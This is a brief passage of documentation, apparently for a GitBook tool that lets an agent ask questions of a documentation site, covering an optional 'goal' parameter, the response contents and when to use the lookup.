`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
